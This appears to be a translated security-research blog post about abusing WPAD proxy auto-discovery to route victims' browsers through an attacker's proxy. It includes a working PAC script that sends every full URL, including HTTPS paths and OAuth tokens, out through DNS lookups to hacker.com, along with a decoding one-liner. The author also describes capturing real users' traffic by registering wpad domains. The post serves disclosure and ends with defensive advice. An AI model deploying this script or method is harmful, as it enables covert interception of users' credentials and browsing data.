Hello! I'm Maxim Andreev, programmer for the backend of Mail.Ru Cloud. At the last Security Meetup, I shared the results of my research into the WPAD proxy auto-configuration protocol. For those who missed - today's post. I will talk about what WPAD is, what it provides for exploitation from an attacker's point of view, and also show examples of how HTTPS traffic can be partially intercepted using this technology.

Little materiel

WPAD (Web Proxy Auto Discovery protocol) is used to find a PAC (Proxy Auto Config) file, which is a JavaScript with a description of the logic by which the browser will determine how to connect to the desired URL. When making a request, the browser calls the FindProxyForURL function from the PAC file, transmits the URL and host to it, and as a result expects to know which proxy to access this address. It looks like this:

function FindProxyForURL(url, host) { if (host == "mail.ru") { return "PROXY mp.example.com:8080"; } else if (host == "google.com") { return "PROXY gp.example.com:5050"; } else { return "DIRECT"; } } 

In addition to FindProxyForURL, various auxiliary functions are available in the PAC script for more flexible settings. With their help, you can, for example, specify that the browser should open the mail.ru site from one to two on Monday through% proxynameX%, and at another time through% proxynameY%. The address of the PAC script can be specified in the browser proxy settings explicitly. For example, in Firefox, this can be done in the settings item called “URL of automatic proxy service settings”. However, the network administrator is unlikely to want to register settings for all browsers for each client manually. Much more convenient to use for this WPAD.
')

How does WPAD work?

First of all, WPAD tries to find the PAC script using the option from the DHCP server (however, this feature is almost not supported by browsers), then sends an HTTP request to http: //wpad.%domain%/wpad.dat and downloads the resulting file. At the same time, the search for the wpad.dat file in different operating systems will take place differently.

Suppose we learned from the DHCP settings that the domain name is msk.office.work. Then Windows XP will try to find it on wpad.msk.office.work (it will be resolving the domain through DNS), and then just on wpad.office.work.

1. http://wpad.msk.office.work/wpad.dat (DNS)
2. http://wpad.office.work/wpad.dat (DNS)

^{Requests that makes Windows XP}

Windows 7 behaves differently: first, the DNS checks the full domain, then tries to resolve the WPAD name via the Link-Local Multicast Name Resolution, and then using the NetBIOS Name Service. The latter two are broadcast protocols, and LLMNR is supported only by Windows, starting with Vista.

1. http://wpad.msk.office.work/wpad.dat (DNS)
2. http: //wpad/wpad.dat (LLMNR)
3. http: //wpad/wpad.dat (NBNS)

^{Requests that makes Windows 7}

LAN use

Imagine yourself in the place of an intruder who wants to send all local traffic through his proxy server. If we are in the same LAN segment (i.e., we can use NetBIOS), we don’t even have to do anything - you can use the ready NBNS-spoofer from Metasploit.




^{Implementation of NBNS-spoofing in the local network}

If we are on a different subnet, but we have a WINS server on our network, we can raise a Windows host named WPAD so that WINS can spread information about us. This case is quite working: when testing in a fairly large local network of one university, requests from hundreds of different IPs began to come to a host that is even less than 24 in the network.

Internet use

Currently there are 861 first level domains. In addition to the usual .com, .net, .ru, .org, among them there are more exotic - from .work and .school to .ninja and .vodka. The names of these domains may well be spelled out in the option domain-name DHCP servers. Thus, if the domain domain is specified in the domain-name, and we register the wpad.university domain, then all requests for the WPAD-file will get to us. Moreover, if you look at the wpad.TLD domains of the first level, we will see the following picture:


^{WPAD Domains Free for Registration}

A couple of years ago, I registered the wpad.co domain, to which numerous requests for a wpad.dat file actually went. But there is also more recent evidence of the possibility of intercepting what was not meant for us: a month ago I registered the wpad.work domain. For 11 days he was approached from 3901 unique IP. It is noticeable that the number of requests decreased at the weekend.


^{The number of calls to wpad.work: the dynamics of the days of the week}
What can be found in the logs, if you send all sufferers through your proxy, you can see below.


^{Fragment of the proxy log}

Profit?

So, we forced users to go through the proxy server controlled by us. What does this give us? In the case of HTTP requests, full control over the traffic: the headers and body of the request and response, all parameters, cookies, data submit forms.


^{HTTP request via proxy server}

In the case of HTTPS, we will see only the CONNECT method. The maximum information available to us is the host and user-agent. Unfortunately, the most interesting thing, that is, the data exchange between the client and the server after the handshake, will look to us only as a set of binary data.


^{HTTPS request via proxy server}

Back to PAC

Despite the fact that the PAC script is written in JavaScript, the window and document objects are not available in it, it will not be possible for the user to output an alert (it will be displayed only in the browser logs). However, even this stripped down version has its nice features.


^{JavaScript functions available from the PAC script}

One of them, isResolvable, checks if it is possible to resolve a domain name to an IP address. It works like this:

 if (isResolvable(host)) return "PROXY proxy1.example.com:8080"; 

What can we get from using this feature? To answer this question, we first understand what exactly is passed to the FindProxyForURL function in the “URL” argument. It turns out that it depends on the browser: Chrome sends the scheme, host, request (GET-parameters), but Firefox in addition also a fragment (location.hash).

For example, the URL http://mail.ru/?a=123#token=secret will be processed as follows:

Chrome



Firefox



No matter which browser is used, we have a full URL. With this you can already work. Let's try, using isResolvable, to intercept the URL. We encode the URL in such a way that it is a valid host name, and append .hacker.com, in the NS-records of which the DNS server is registered, where we respond to all requests and log them.

So, with the help of simple transformations:

 function encode(str) { r = str.toLowerCase() .replace(/([^a-z1-9])/g, function(m) { return "0" + m.charCodeAt(0) }) .replace(/([^\.]{60})(.)/g, '$1.$2') .substr(0, 240); return r + (r.slice(-1) != "." ? "." : "") + "hacker.com"; } function FindProxyForURL(url, host) { var u = encode(url); return isResolvable(u) ? "DIRECT" : "DIRECT"; } 

our test URL https://example.ru/?token=123 turns into an elegant
https058047047example046ru047063token061123.hacker.com , from which, by means of Perl-conversion

 echo 'https058047047example046ru047063token061123.hacker.com' \ | perl -lape 's/\.hacker\.com$//; s/\.//g; s/0(..)/chr($1)/eg;' 

You can easily get the source string, that is, the full URL of the HTTPS request. Thus, using the wrong client configuration, an attacker can partially bypass HTTPS encryption and get access to the URLs of all user requests.

It's no secret that in the URL fragment (location.hash), OAuth tokens are often transmitted. Thus, in the case of using Firefox, they can get into our hands.

As a result of placing this script on wpad.work, several thousand user requests were intercepted, among them the most popular protocols were:

1. 53% HTTPS
2. 46% HTTP
3. 0.15% WS
4. 0.08% WSS

The most common requests came from the following countries:

1. 14% Russia
2. 11% United States
3. 9% China
4. 7% India

Total

With WPAD, you can, despite HTTPS, intercept local traffic, OAuth tokens, and other information from a URL. However, we as honest people will not do this. It is better to try, using the knowledge we have, to defend against potential attacks. Below are the main recommendations, the implementation of which will allow you to secure your traffic.

1. Do not use "foreign" domains . Usually it is advised to use .local in the absence of your domain, but I would not recommend it, since an attacker can make an attack through broadcast-resolvers that use the same domain - in particular, Bonjour. Optimal use of the registered domain name (it is not necessary to make it resolvable outside).
2. Reserve wpad addresses in domain zones .
3. Disable automatic detection of settings in the settings of all browsers (for IE and Chrome, this can be done via domain policies).

PS If you want to take part in one of the following Security Meetings, and you have something to tell, write to Karim valievkarim Valiev or Vladimir z3apa3a Dubrovin.